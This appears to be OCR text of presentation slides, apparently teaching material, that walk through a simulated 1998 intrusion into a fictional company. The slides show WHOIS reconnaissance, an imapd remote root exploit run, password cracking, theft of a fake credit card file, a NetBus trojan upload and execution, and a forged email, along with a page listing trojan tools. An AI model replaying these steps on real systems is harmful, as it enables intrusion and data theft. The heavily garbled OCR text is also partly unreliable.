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Access Requestor Policy Enforcement Policy Decision

TPM — Trusted Platform Module

* HW module built into most of
today's PCs

« Enables a HW Root of Trust

« Measures critical components
during trusted boot

* PTS interface allows PDP to
verify configuration and
remediate as necessary

Production
Network

Compliant System
IPM verified
vBIOS
¥ OS
v Drivers
¥ Anti-Virus SW
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Network Access Policy Enforcement Network Access
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Figure 2: The TNC Architecture lgﬁ
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F}; Bigw/idget Incorporated - Netzscape
EFile Edit Yiew Go Communicator Help

1 9 > B3 Voo a3 & B

The Part That Fits™

Company Products Services Support

BigWidget Announces Titanium
Machining Capabilities

Big'Widget Incorporated announced today the
purchase of a Consolidated Conglomerate

L] abrasive waterjet cutter. This new machine wall
allow Big'Widget to offer advanced machining
services for titanium cogs and widgets.

More News...

* PBiocWideet aquires Spacely Sprockets for $17.3 muillion
* BioWideet announces record third guarter earnings

Copvyright @ 1998 BigWidget Inc.

1234 Main Street - Anytown, USA S5555

= ~ |Document: Done =5 % aw AP 2 |
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7 wWelcome to the IntesNIC - Netscape

File Edit View Go Communicator Help

- » A N 2 £ S & 3

Back fonwad HReload Home Search Guide Print Security Stop

w§ " Bookmarks A Location: [http: /7w intemmic.net/ ~]
i .ﬁlnstam Message Members WebMail Connections Bizloumal SmartUpdate Mktplace
Welcome to Net work Solutions' (I terme -

InterNIC Registration Services

Domain name registration services

The InterNIC provides domain name registration services for the
top level domains .comi, .7n2ef , .org, and .edu. Please visit the
What's New? page to see a listing of recently added features or
changes to the site.

+ Search the database of registered domain names using WHOIS:

NETWORK
SOLUTIONs@ | bigwidget.com Search] Clearl

REGISTRATION SERVICES

+ Register a domain name: If you are registering a domain name for
the first time, please see How to Register a new domain name for
guidance.

+ Forms: Registration Services maintains a variety of forms to assist you
i registering or transferring yvour domain name and modifying your
domain name and associated records.

+ Resources: Links to everything from policies to payment options.

The InterNIC is a cooperative activity between the U.S. Government and Netword Solutions, Inc.

Flease read our disclaimer.
CONTACT US | RESOURCES |HOWTO ... | EORMS | EAQ | SITE MAP | SEARCH | WHOIS

= [ Dactument Done =l CutE TR Ay o




375 InterNIC Registration Tool - Netscape

File Edit Yiew Go Communicator Help

1 4 2 A B 2 £ S &
Back oo Reload Home Seach Gude Prnt Secuity ©i-
..." Bookmarks & Localinn:|hltp:z’r’www.inlemic.neta’cgi—bim’ills/whuis

% /3 Instant Message Members WebMail Connections BizJournal SmartUpdate Mktplace

A

@ Q mterNe
NETWORK
SOLUTIONS"

Inter NIC Template Tool Suite

Registration Services
FORMS FAQ  SITE MAP SEARCH
[ Register a Domaln Name

[ Home | [ ContactUs |
RESOURCES HOW TO...

I Search for a Domain Name

Submit Query I

Anytown, GA USA

Domain Name: bigwidget.com
Administrative Contact, Technical Contact, Zone Contact:

Phone- 678-555-1212
Fax- 678-555-1211

Billing Contact:
BigWidget Billing (IB158-ORG) BigWidget-
billing@bigwidget.com
Phone- 678-555-1212
Fax- 678-555-1211

BigWidget Admin (IA338-ORG) bwc-dnsadmin@bigwidget.com

Search for: | BIGWIDGET.COM
Registrant: Record last updated on 29-Jun-98.
BigWidget, Conglomerated. (BWC2-DOM) Record created on 30-Jun-94.
1234 Main Street Database last updated on 13-Oct-98 06:21:01

EDT.
Domain servers in listed order:

EHECATL. BIGWIDGET 208.21.0.7
NS1.SPRINTLINK.NET 204.117.214.10 -
NS.COMMANDCORP.COM 130.205.70.10

® |

| Docurment: Done




hacker: ~$ telnet bigwidget.com 25
Trying 10.0.0.28...

Connected to bigwidget.com

Escape character is '*]'.
Connection closed by foreign host.

hacker:~$ A% IwO25 &£ )



hacker: ~$ telnet bigwidget.com 25
Trying 10.0.0.28...

Connected to bigwidget.com

Escape character is ']'.
Connection closed by foreign host.

hacker:~$ telnet bigwidget.com 143

Trying 10.0.0.28...

Connected to bigwidget.com.
* OK amber IMAP4rev1 Service 9.0(157) at Wed, 14 Oct 1998 11:51:50 -0400 (EDT)
(Report problems in this server to MRC @ CA C.Washington.EDU)

. logout

* BYE bigwidget IMAP4rev1 server terminating connection

. OK LOGOUT completed
, | I 381143 BT
Connection closed by foreign host.
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Back Forwad Reload Home Search Guide Print  Securty  Stop

1‘_' Bookmarks q& anation:_ I_htl[:f:_f’a'www rootshell. com/beta/news. hitml :l

J%_lnstanl Message @ Members @ wefeb ail @ Connections @ Bizloumal SmartUpdate @ Mktplace

no shirt,

Do you have security related news? Please e-mail it to news@rootshell com.

e

OpenSite Web Auctions truely open
2498 8:22AM FDT

Opensite Technologies, Inc. has a product allowing sites to offer Web Auctions, Apparently most sites using this software
have it misconfigured and anyone browsing their site has access to users credit cards and personal information. If you are a
user of this software please contact OpenSite for mformation on securing vour website,

+ news.com - Auctions close major secunty hole

Fraud alleged in the transfer of ownership of Thailand.com site

9/23/98 1:40PM PDT

Do you rely on DINS for authentication. If you do then this is another reason to think twice. Under current InterINIC policy it
15 quite easy to steal someones domain and make the courts figure it out later,

+ bangkokpost.net - Fraud alleged in the transfer of ownership of Thailand. com site

l imapd

» www.thailand. com

Rootshell t-shirts coming soon!
G/22/98 11:28AM FDT

Rootshell t-shirts are coming soon! In order to anticipate demand if you think you might be interested in purchasing a t-shart
please click on this link It s looking like t-shirts wall be priced somewhere around $15-$18 US. If you have any design |

T e - v



File Edit View Go Communicator Help

-

Back Forward Reload Home Search Guide_ Frint Se_ciuit;,l_ _Etgp_

v« 2 A ¥ 2 £ S & @ E
: ._t 'B_oukmarks &_ Lﬁcalion: _|http:waw.rootshell.com!search_fcg E]
J%fnstanl Message @ Members @ WebMail @ Connections @ BizJoumal SmartUpdate @ Mktplace

Connect from dhepl74-180.iss net [208.27.174.180] (M ozilla/4.05 [en] (WinlNT, D)logged.

Rootshell search results

New remote root explott in University of Washington imapd 4. (that came with
Pine 4.0)

4113198 limpack 103 tar gz Luke_Skww I_map Pack 1.03 -_cxpl-:nt imapd attack vunerable hosts.
(Warning: contains untested binaries)

7117498 |limapdd.txt

documentation () . !
2/19/98 [mapd corett |When imapd coredumps, the core will have encrypted shadowed passwords.
| imapd 11/21/97 imaps.tar.gz Serveral different versions of the remote imapd buffer overflow exploit.

10/30/97 limapd 4. 1b et ES possible to crash imapd, thus leaving shadow and password files in core
' E.

9/26/97 limapd scansh This script will scan (and exploit) an entire subnet for imap2 vulnerabilitles.

6/24/97 limapd exploit.c |Get remote root access on Redhat systems by overwriting a buffer in impad.




7 Welcome to Rootshell | Hosted by connectnet.com - Netscape

Flle Edrl Vlew Go Communicator Help

< 2 A D 2 bt s & @ E
Bal:k Forward  Reload Home Search Guide Pnnt Securty  Stop :
.“ Bookmarks &_ Loc.atnnlhltp 4 fwwwa. rootshell com/ archive-j457 nkigi3ggs9dv/1 SS?D?/lmapd explait.c_html ﬂ
J%Instanl Message |&) Members [H) webMal S Connections D BizJoumal |H SmartUpdate |5 Mkiplace

To: neighboréhome.org
From: neighbor@home.org
Subject: Hope you had a nice vacation

Download NON-HTMTL Version | Add Comment | View Comments (1 comment(s))

FE

This is the remote exploit of the hole in the imap daemon, for

Linux. The instruction code is doing open{(), write(), and close()
system calls, and it adds a line root::0:0.. at the beggining of
/fecc/passwd (change to /etc/shadow if needed). The code needs to
be self modifying since imapd turns everything to lowercase before
it pushes it on the stack. The problem 1is that it rewrites the
first line of passwd/shadow, therefore loosing the root password.

I'm sorry, but I don't have time to add in the seek syscall.
- Akylonius (akvyBgaleb.etf.bg.ac.yu) [1997]

MHodifications made on 5.1.97 to accept command line hostname, with
'h to ip' function that resolves it to an ip. - pl (pilfelS.orqg)

=l |Document: Dane




hacker ~$ -/imap_exploit bigwidget.com

IMAP Exploit for Linux.
Author: Akylonius (aky @galeb.etf.bg.ac.yu)
Modifications: p1 (p1@el8.org)

Completed successfully. YR IEFH BT ITHEEFF
hacker ~$ telnet bigwidget.com

Trying 10.0.0.28...

Connected to bigwidget.com.

Red Hat Linux release 4.2 (Biltmore)
Kernel 2.0.35 on an i686

login: root SR E RrootlkS
bigwidget:~# whoami
root

LI ZE{8rootk S

bigwidget:~#
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hacker ~$ -/imap_exploit bigwidget.com

IMAP Exploit for Linux.
Author: Akylonius (aky @galeb.etf.bg.ac.yu)
Modifications: p1 (p1@el8.org)

Completed successfully.

hacker ~$ telnet bigwidget.com
Trying 10.0.0.28...
Connected to bigwidget.com.

Red Hat Linux release 4.2 (Biltmore)
Kernel 2.0.35 on an i686
login: root
bigwidget:~# Whoami
root
bigwidget:~# cd /etc
bigwidget:~# cat ./hosts

127.0.0.1 localhost localhost.localdomain

208.21.2.10 thevault accounting

208.21.2.11 fasttalk sales

208.21.2.12 geekspeak engineering

208.21.2.13 people human resources : -
20821214 thelinks  marketing BREMENER

208.21.2.15 thesource information systems HZRAEFR

bigwidget:~# rlogin thevault



thevault:~# cd /data/creditcards e
, BIIERRATITIEEF
thevault:~#  cat visa.txt

Allan B. Smith 6543-2223-1209-4002 12/99

Donna D. Smith 6543-4133-0632-4572 06/98

Jim Smith  6543-2344-1523-5522 01/01

Joseph L.Smith 6543-2356-1882-7532 04/02
Kay L. Smith 6543-2398-1972-4532 06/03

Ann Smith 6543-8933-1332-4222 05/01 M| s —]
;{:l:zrt ;?Sn;?th 6543-0133-5232-3332 05/99 fiIJ h- i 14: ’ E ? % F fl; r%\

thevault:~# crack /etc/passwd
Cracking /etc/passwd...

username: bob password: ding

username: mary password: mary ¥ B $ -ﬁIﬂEE 3 ﬁ $2rootd «'_3.

username: root password: nccl1701

thevault:~# ftp thesource

Connected to thesource
220 thesource Microsoft FTP Service (Version 4.0).

Name: administrator

331 Password required for administrator.

Hoek e AN O LRI T
230 User administrator logged in.

Remote system type is Windows_NT.
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Forward Reload Home h  Guide ity

Kf Location: |http:/

Webbail '-‘ﬂ'] Connections '-JJ BizJournal -'J' SmartUpdate '-!J Mktplace

hittp:/ Jwww.theargon.com
E ncryphion PGP

~ — "REF
Securty, . ” ' _l I W > Privacy on the Net
Remailers, = l AL [.‘ 1 iz And Much Mare!

| warforge.com

Search For Files

Articles : K
. e )

- Bugtrag \\\ ;? /j ) :\. W = 3
-Fag \g" \ {"‘_‘i_'l w" ";;g-l

- Rootshell

Crew
- Members
- Programs Top Stories
- Projects
New mirror opens - 8/20/98
News & Info I'm pleased to announce that a new mirror site has opened. If you are having trouble downloading files here, I suggest that
- Contact you try the mirror site or buy The WarForge CD. The mirror is: http://www.paran0id.com/warforge/
- Links s
_ Mirrors Want to see if you have BO? - 8/19,/98
R 4s the trojan Back Orifice is becoming mare and more popular, many more people will become infected with the trojan.
= Sponsors Information has been provided on how to remove the trojan, information about the program, and many other interesting
Thanks features about Back Orifice.
- WarBoard - AntiGen - Back Orifice Cleaner
- More information at Wired News
Software ; 3
- - MNew ICQ Number - 8/5/98
- D | Of Se I y
Emé,l T Please make sure that you add my new number to your ICQ list. My new number is 16709918, Thank you.
- Hacking

]

=
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Feload Home

Kf Location: |http:/

E Click Here To Support Our Sponsors

Click Here To Support Qur Sponsors

Description Download
Back
Contact
Back Orifice
- A remote administration system which allows a user to control a computer across a tcpip Download
connection
- Size: 277 kb

Master's Paradise 98 Beta 9.7

- Accesses a specific port on an exploited system. Also contains a game file which you can
send to people to get their port open.

- Size: 970 kb

NetBus 1.6

- Can do basically anything you want to another computer that is exploited with the trojan
server.

- Size; 513 kb

Sockets de Troie

-Accesses a specific port on an exploited system. also contains a domain scanner, finger,

icmper, icq stuff, ip converter, mail bomber, port bomber, port scanner, a search registry net, Download
and telnet.

- Size! 446 kb

Download

Download

About | Advertise | Disclaimer | Linking

Document; Done



ftp> cd \temp
250 CDW command successful.

ftp> send netbus.exe
ftp> local: netbus.exe remote: netbus.exe

200 PORT command successful.
150 Opening BINARY mode data connection for netbus.exe
226 Transfer complete.

ftp> quit

thevault:~$ telnet thesource

Trying 208.21.2.160.
.. Connected to thesource.bigwidget.com.
Escape character is '*]'.

Microsoft (R) Windows NT (TM) Version 4.00 (Build 1381)

Welcome to MS Telnet Service
Telnet Server Build 5.00.98217.1
login: administrator
PasSWord: sk

*==== e e e e e e e e e

Welcome to Microsoft Telnet Server.

R P P P L F P PP R P L P L

C:\> cd \temp
C:\TEMP> netbus.exe
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President@bigwidget.com
David Smith < dsmith@bigwidget.com
My Raise < URGENT >

Mud:ed:

Dear Mr. Smith

| would like to thank you for the huge raise that you have seen fit to give me. With
my new salary of $350,000.00 a year | am sure | am the highest paid mail clerk in
the company. This really makes me feel good because | deserve it.

Your Son,

Dave
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7 EHER 7 IR

« R BPRYIAEEnvironment: B, Bik. FHFE
« EBbRIRIEAgent: SIEIEE. IRAE. WEE. B (RE) F
o BRI R Object: I BARMBIAN R, U EEHRIFPHNR
«  EBHAY A E—HAES5 4 Vulnerability: B iR LRI T
o  EEPEYIEFEProcess
> EhRYIRFERoute: FERMASUBN A BESCHI — L2, EEEN, Ei@E W
&, EEYE T EINES. EmASTE.
> BRI FSequence: ELBHESCI T AL S BRINE . S5REHIRZERZ
— /MMEEE, —PMEELERZ. BB XAINEEESRRRER
BRI ER o
. RS R

E{4Event/Incident: FE{ I EAESIHZ FETER ISR

> BPEITTREME: R AE SR TR EFIIHE
> BRI ERE: B ~EEREHEMA/N. UEEHE—SY S
M
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List of i o e List of Processes fhe List of Locotions in Which List of
scOope Thngs importast i 0;' - Ogn;;!hm Sq:ﬁi( of tmt.s{.c Lists of Business
{contextual} C'1 H .’
I
Planner Time ?-:7;'(' n&“ﬂ‘ mmmhs m‘fm'
BUSINESS
MODEL
{conceptual}
Dwnear
BYSTEM
MODEL
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TECHNOLOGY g, Physial Data Model

MODEL |
{physical} A
Siilier Enfity = Seqment/Table/efc Process = Compuler Fancion yoge — g Sysom Sofivne People = Usar Time = Exaule tad = Condilion
i Rednfionship = Poirtter/Keyjal. 10 = Dafo Elements/Sels Link = Line Specificeines Work = Saean Formals Cyde = Component Cyle Mcans = Adion
DETAILED e.q., Data Definition g, Program g, Nefwork Archilechure e.q., Sequrily Archilechure .. Timing Definition .., Rule Specficaion
REPRESENT -
ATIONS
out-of-context > : = = Idoni S
{ } Entily = Field Pracess = Longuoge Siateren! Node = Address People = Identily Time = Intermspl End = Sub-condition
Link = Protocol Work = Job (ycde = Madhine Cyde Moons = Siep
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